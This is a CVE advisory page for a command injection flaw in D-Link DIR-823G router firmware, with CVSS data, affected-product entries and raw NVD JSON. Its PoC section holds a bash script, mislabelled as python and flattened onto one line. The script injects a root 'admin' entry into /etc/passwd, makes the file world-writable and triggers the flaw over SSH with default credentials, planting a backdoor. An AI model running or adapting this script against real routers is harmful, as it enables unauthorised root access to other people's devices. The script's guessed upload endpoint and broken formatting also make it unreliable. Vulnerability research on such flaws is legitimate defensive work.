Security Vulnerability Report
中文
CVE-2025-60671 CVSS 5.4 MEDIUM

CVE-2025-60671

Published: 2025-11-13 18:15:51
Last Modified: 2025-11-17 19:04:41

Description

A command injection vulnerability exists in the D-Link DIR-823G router firmware DIR823G_V1.0.2B05_20181207.bin in the timelycheck and sysconf binaries, which process the /var/system/linux_vlan_reinit file. The vulnerability occurs because content read from this file is only partially validated for a prefix and then formatted using vsnprintf() before being executed with system(), allowing an attacker with write access to /var/system/linux_vlan_reinit to execute arbitrary commands on the device.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:dlink:dir-823g_firmware:1.0.2b05_20181207:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dir-823g:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DIR-823G Firmware DIR823G_V1.0.2B05_20181207.bin

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-60671 PoC - D-Link DIR-823G Command Injection # Target: D-Link DIR-823G Router # Firmware: DIR823G_V1.0.2B05_20181207.bin # Vulnerability: Command injection in /var/system/linux_vlan_reinit file processing TARGET_IP="192.168.0.1" # Normal prefix that passes validation NORMAL_PREFIX="vlan_reinit" # Injected command - creates backdoor user INJECTED_CMD="; echo 'admin:x:0:0:root:/tmp:/bin/sh' >> /etc/passwd; chmod 777 /etc/passwd;" # Generate malicious content MALICIOUS_CONTENT="${NORMAL_PREFIX}${INJECTED_CMD}" # Method 1: If you have write access via other vulnerability or service echo "[+] Writing malicious content to /var/system/linux_vlan_reinit" echo "${MALICIOUS_CONTENT}" | curl -T - "http://${TARGET_IP}/upload" 2>/dev/null || \ sshpass -p "admin" ssh admin@${TARGET_IP} "echo '${MALICIOUS_CONTENT}' > /var/system/linux_vlan_reinit" # Method 2: Via UART/JTAG debug interface (physical access) # echo '${MALICIOUS_CONTENT}' > /var/system/linux_vlan_reinit echo "[+] Content written. Triggering sysconf/timelycheck..." sshpass -p "admin" ssh admin@${TARGET_IP} "/usr/bin/sysconf &" sleep 2 # Verify exploitation echo "[+] Checking for backdoor..." sshpass -p "" ssh admin@${TARGET_IP} "cat /etc/passwd | grep admin" echo "[+] Exploitation complete. Use 'admin' user with root privileges"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60671", "sourceIdentifier": "[email protected]", "published": "2025-11-13T18:15:50.877", "lastModified": "2025-11-17T19:04:41.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability exists in the D-Link DIR-823G router firmware DIR823G_V1.0.2B05_20181207.bin in the timelycheck and sysconf binaries, which process the /var/system/linux_vlan_reinit file. The vulnerability occurs because content read from this file is only partially validated for a prefix and then formatted using vsnprintf() before being executed with system(), allowing an attacker with write access to /var/system/linux_vlan_reinit to execute arbitrary commands on the device."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-823g_firmware:1.0.2b05_20181207:*:*:*:*:*:*:*", "matchCriteriaId": "45B79D73-7818-44BE-8703-70E0691A183D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-823g:-:*:*:*:*:*:*:*", "matchCriteriaId": "67B980AA-84BE-4D22-B4E7-7B2DBF571B65"}]}]}], "references": [{"url": "http://d-link.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/DLink/DLink-DIR-823G/CVE-2025-60671.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.dlink.com/en", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.dlink.com/en/security-bulletin/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}